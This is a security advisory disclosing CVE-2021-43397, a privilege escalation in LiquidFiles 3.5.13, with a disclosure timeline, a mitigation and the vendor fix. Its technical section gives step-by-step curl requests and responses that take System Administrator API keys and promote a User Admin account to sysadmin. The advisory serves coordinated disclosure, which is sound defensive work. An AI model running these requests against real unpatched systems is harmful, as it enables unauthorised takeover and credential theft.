LiquidFiles 3.5.13 Privilege Escalation Vulnerability

===============================================================================
                  title: LiquidFiles Privilege Escalation
                product: LiquidFiles v3.5.13
     vulnerability type: Privilege Escalation
               severity: Medium
           CVSSv3 score: 6.7
          CVSSv3 vector: AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L
                  found: 2021-10-29
                     by: Riccardo Spampinato, Eliana Cannella, Valerio
Casalino
===============================================================================

[EXECUTIVE SUMMARY]
LiquidFiles is a secure file transfer system for person-to-person email
communication.
During an engagement for our customer we discovered a Privilege Escalation
from "User Admin" user to "System Administrator" user.
Using LiquidFiles API, a "User Admin" user can list all the application
registered users, retrieving information such as their API keys, including
those of the System Administrators. As per LiquidFiles documentation, API
key is used as HTTP basic authentication in order to authenticate to the
LiquidFiles system.
A malicious "User Admin" user, by using a 'System Administrator's API key,
can obtain the role of System Administrator and can administer all aspects
of the LiquidFiles system.
The impact of a successful attack includes: obtaining access to all aspects
of the LiquidFiles system of the application via the System Administrator
API key.


[VULNERABLE VERSIONS]
The following version of LiquidFiles system is affected by the
vulnerability; previous versions may be vulnerable as well:
- LiquidFiles v3.5.13


[TECHNICAL DETAILS]
It is possible to reproduce the issue following these steps:
1. Get the API key of your own user-admins user;
2. With your own user-admins user's API key, get a sysadmins' API key via
/admin/users API;
3. With sysadmins' API key retrieved at the step below, issue
/admin/users/<user-admins_user_id> API modifying the group of your
user-admins user from "user-admins" to "sysadmins";
4. You are now a sysadmins user. You can verify it by either login again
with your own user via web GUI (you are now prompted to set a fallback
password to use in case LDAP authentication fails) or by issuing
/admin/users/<user-admins_user_id> API to view your own user.


Below a full transcript of the HTTP requests and responses used to raise
the vulnerability:

1. Get the API key of your own user-admins user

cURL Request:
curl -X POST -H "Accept: application/json" -H "Content-Type:
application/json" -d
'{"user":{"email":"[user-admins_user_mail]","password":"[CENSORED]"}}'
https://[CENSORED]/login

Response:
{"user":{"api_key":"[user-admins_user_API_key]"}}


2. Get a sysadmins' API key

cURL Request:
curl -s -X GET --user "[user-admins_user_API_key]:x" -H "Accept:
application/json" -H "Content-Type: application/json" https://
[CENSORED]/admin/users

Response:
[TRUNCATED]
{"user":
  {
    "id": "[CENSORED]",
    "email": "[CENSORED]",
    "name": "[CENSORED]",
    "group": "sysadmins",
    "max_file_size": 0,
    "filedrop": "disabled",
    "filedrop_email": "disabled",
    "api_key": "[sysadmins_user_API_key]",
    "ldap_authentication": "false",
    "locale": "",
    "time_zone": "",
    "strong_auth_type": "",
    "strong_auth_username": "",
    "delivery_action": "",
    "phone_number": "",
    "last_login_at": "2021-10-29 10:02:11 UTC",
    "last_login_ip": "[CENSORED]",
    "created_at": "2020-06-30 10:49:38 UTC"
  }
},
[TRUNCATED]


3. Modify the group of your own user-admins user from "user-admins" to
"sysadmins"

cURL Request:
cat <<EOF | curl -s -X PUT --user "[sysadmins_user_API_key]:x" -H "Accept:
application/json" -H "Content-Type: application/json" -d @- https://
[CENSORED]/admin/users/<user-admins_user_id>
{"user":
  {
    "name": "[user-admins_user_name]",
    "group": "sysadmins"
  }
}
EOF

Response
{"user":
  {
    "id": "[CENSORED]",
    "email": "[CENSORED]",
    "name": "[CENSORED]",
    "group": "sysadmins",
    "max_file_size": 0,
    "filedrop": "disabled",
    "filedrop_email": "disabled",
    "api_key": "[CENSORED]",
    "ldap_authentication": "true",
    "locale": "",
    "time_zone": "",
    "strong_auth_type": "",
    "strong_auth_username": "",
    "delivery_action": "",
    "phone_number": "",
    "last_login_at": "2021-11-03 13:31:58 UTC",
    "last_login_ip": "[CENSORED]",
    "created_at": "2021-03-03 11:48:37 UTC"
  }
}


4. Verify that your own user-admins user is now a sysadmins one.

cURL Request
curl -X GET -H "Accept: application/json" -H "Content-Type:
application/json" --user [user-admins_user_API_key]:x https://
[CENSORED]/admin/users/<user-admins_user_id>

Response
{"user":
  {
    "id": "[CENSORED]",
    "email": "[CENSORED]",
    "name": "[CENSORED]",
    "group": "sysadmins",
    "max_file_size": 0,
    "filedrop": "disabled",
    "filedrop_email": "disabled",
    "api_key": "[CENSORED]",
    "ldap_authentication": "true",
    "locale": "",
    "time_zone": "",
    "strong_auth_type": "",
    "strong_auth_username": "",
    "delivery_action": "",
    "phone_number": "",
    "last_login_at": "2021-11-03 13:34:36 UTC",
    "last_login_ip": "[CENSORED]",
    "created_at": "2021-03-03 11:48:37 UTC"
  }
}


[VULNERABILITY REFERENCE]
The following CVE ID was allocated to track the vulnerabilities:
CVE-2021-43397


[DISCLOSURE TIMELINE]
2021-11-02  Vulnerability submitted to vendor through vendor support portal.
            Vendor requested more info and acknowledged the problem later.
2021-11-04  Researcher requested to allocate a CVE number.
            Vendor released a fix for the reported issue.
2021-11-09  Researcher requested to publicly disclose the issue; public
            coordinated disclosure.


[MITIGATION]
As per vendor suggestion, the vulnerability could be mitigated in versions
prior to 3.6.3 by disabling API in Admins groups.


[SOLUTION]
Version 3.6.3 (released 2021-11-09)
https://man.liquidfiles.com/release_notes/version_3-6-x.html


[NOTE]
Please note that the issue described in this advisory can be also raised
via Web GUI LiquidFiles Admin panel.